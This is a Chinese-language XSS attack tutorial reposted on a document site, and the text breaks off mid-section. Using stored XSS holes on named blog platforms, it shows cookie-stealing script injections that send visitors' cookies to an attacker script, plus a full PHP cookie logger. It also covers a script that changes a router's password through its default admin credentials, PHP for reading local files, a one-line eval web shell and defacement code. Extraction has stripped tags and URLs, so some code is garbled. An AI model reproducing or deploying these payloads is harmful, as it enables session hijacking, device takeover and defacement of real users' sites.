您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 咨询培训 > 跨站脚本攻击实例解析
跨站脚本攻击实例解析作者:泉哥主页:前言跨站攻击,即CrossSiteScriptExecution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。漏洞测试关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下:漏洞详情简要描述:博客大巴存储型XSS漏洞详细说明:在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入imgsrc=#onerror=alert(head)/img,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示:图1(在首页触发)图2(打开文章触发)对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如AcunetixWebScanner……漏洞利用一、窃取Cookie对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“明小子”工具或其它可修改cookie的浏览器(如装有CookiesEdit插件的Firefox)将cookie修改为获取的cookie,这样即可获得博客的管理权限。首先,我们在自定义模板的head代码模块中写入scriptdocument.write('imgsrc=='+document.cookie+'width=0height=0border=0/');/script或者scriptdocument.location='='+document.cookie;/script这里我把脚本放在本机上,你可以根据脚本地址来更改上面的localhost地址。以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的目的,就看你如何发挥了。接下来我们来编写上面的test.php文件,它主要用于获取对方的cookie,其源代码如下:?php$cookie=$_GET['cookie'];//以GET方式获取cookie变量值$ip=getenv('REMOTE_ADDR');//远程主机IP地址$time=date('Y-m-dg:i:s');//以“年-月-日时:分:秒”的格式显示时间$referer=getenv('HTTP_REFERER');//链接来源$agent=$_SERVER['HTTP_USER_AGENT'];//用户浏览器类型$fp=fopen('cookie.txt','a');//打开cookie.txt,若不存在则创建它fwrite($fp,IP:.$ip.\nDateandTime:.$time.\nUserAgent:.$agent.\nReferer:.$referer.\nCookie:.$cookie.\n\n\n);//写入文件fclose($fp);//关闭文件header(Location:);//将网页重定向到百度,增强隐蔽性?接下来我们访问博客首页,我这里以为测试地址,访问后我们打开看看cookie.txt文件是否被创建并写入数据,结果如图3所示:图3很明显,我们已经成功窃取到cookie了,剩下的事相信大家都知道,这里就不再赘述。二.渗透路由器对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL:@192.168.1.1,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件LiveHTTPheaders获取请求头,如图4所示:图4因此我们可以在head代码模块中写入以下语句:scriptsrc=其中1.js源码如下:window.open(@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6);下面我们试着用@192.168.1.1登陆,结果如图5所示:图5可见密码已经修改成功!三、读取本地文件在不同的浏览器中对本地文件的读取有着不同的限制,之前XEYEteam曾有过统计,具体内容如下:1:IE6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。2:FF3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。3:opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。4:基于webkit内核:googlechrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.以上测试是利用ajax来读取文件的。但是我在windows7平台上用php测试各个最新版浏览器时发现:1、Firefox3.6.10、搜狗浏览器2.2.0.1423、Maxthon2.5.14、IE8、Chrome7.0.513.0、360浏览器3.5、世界之窗3.2、TT浏览器4.8均可跨目录读取本地文件。2、Opera10.70不允许读取本地文件,若是读取本地文件会直接给出警告,但你仍可选择继续读取。我测试用的PHP脚本(该脚本位于D:\riusksk\Webroot\reader.php)代码如下:?php$handle=fopen(file://c:\sysiclog.txt,rb)ordie(can'topenfile);$contents='';while(!feof($handle)){$contents.=fread($handle,1024);}$contents=urldecode($contents);echo$contents;//$fp=fopen('info.txt','a');//fwrite($fp,$contents);//fclose($fp);fclose($handle);?在存在XSS的地方嵌入上面php文件,方法与cookie劫持一样。由于现在blogbus打不开,可能又是服务器搬迁。这里我以blogcn.com上的漏洞为例进行测试,Firefox下的情况如图6所示:图6谷歌浏览器Chrome情况如图7所示:图7搜狗浏览器下的情况如图8所示:图8傲游浏览器下的情况:图9IE8下的情况如图10所示:图10360安全浏览器情况如图11所示:图11世界之窗情况如图12所示:图12TT浏览器情况如图13所示:图13Opera下直接给出警告如图14所示:图14当然,这些漏洞除了读取文件外,还可写入一句话木马?phpeval($_POST[cmd])?,为进一步提权提供条件。四、HackingHomePage相信对于很多初学Hack的朋友,都会对那一张张的黑页独有情钟,尤其是当前中美黑客大战中,中国人挂在白宫网站上黑页,让人至今记忆犹新!本节主要就是利用XSS来黑掉别人博客主页,但这里的黑页与入侵服务器来修改主页有很大区别,利用XSS来黑页其实并不是修改服务器上的页面,它只是通过JavaScript,CSS及其它WEB技术来修改页面。这主要就是通过注入js代码,然后在后台执行以达到盗取cookie或劫持浏览器的目的,这些代码往往都是一些HTML或JavaScript代码(往往是使用InnerHTML或者document.write命令来动态创建文本,图像及其它数据信息)。在本文编写过程中,我又发现了博客大巴上的几处跨站漏洞,就在“博客设置”中,这里我们就以其中“基础设置”下的“自定义header”一栏为例。我们先在向其写入下列语句:scriptsrc=接下来编写1.js代码:document.write(centerh1fontcolor=#FF0000HackedByriusksk/font/h1/center);document.write(centerh2fontcolor=#000000Justfortest!/fonth2/centerpimgsrc=!--);上面的“!—”主要是用于将后面的页面内容注释掉,避免显示,但这在各浏览器中情况会有所不同,比如我在Chrome中可以起到此作用,但在其它浏览器达不到此效果了,得采用其它注释语句方可,或者先用document.body.innerHTML='';来清空body主体中的html代码,然后再逐一利用document.createElement创建元素也是可行的。这里我是以Chrome作为测试用的浏览器,访问博客首页后结果如图15所示:图15成功“黑掉”博客主页!五、跨站中的“溢出攻击”相信熟悉缓冲区溢出攻击的朋友,都知道其中的原理:通过向堆栈中填充过多的字节以覆盖返回地址,进而控制程序的执行流程。这里我要讲的XSS攻击方式与溢出有着类似的特点,在此我们以“中国博客网(blogcn.com)”为实例进行讲解。经过本人的多次测试,发现上面有着不少XSS漏洞,后来听从乱雪同志的建议,将阵地转移到blogbus,但正如上面所讲到的,结果还是漏洞一堆,看来很多技术人员把博客放在百度空间还是有一定道理,至少它比这些博客网站安全多了。现在回归正传,本节就以发表日志中存在的跨站漏洞为例。我们先像往常一样在日志中输入scriptalert(“riusksk”)/script,发表后再查看日志时并未触发脚本,因为其中的“”、“”均被过滤掉了,如图16所示:图16通常被
本文标题:跨站脚本攻击实例解析
链接地址:https://www.777doc.com/doc-2044614 .html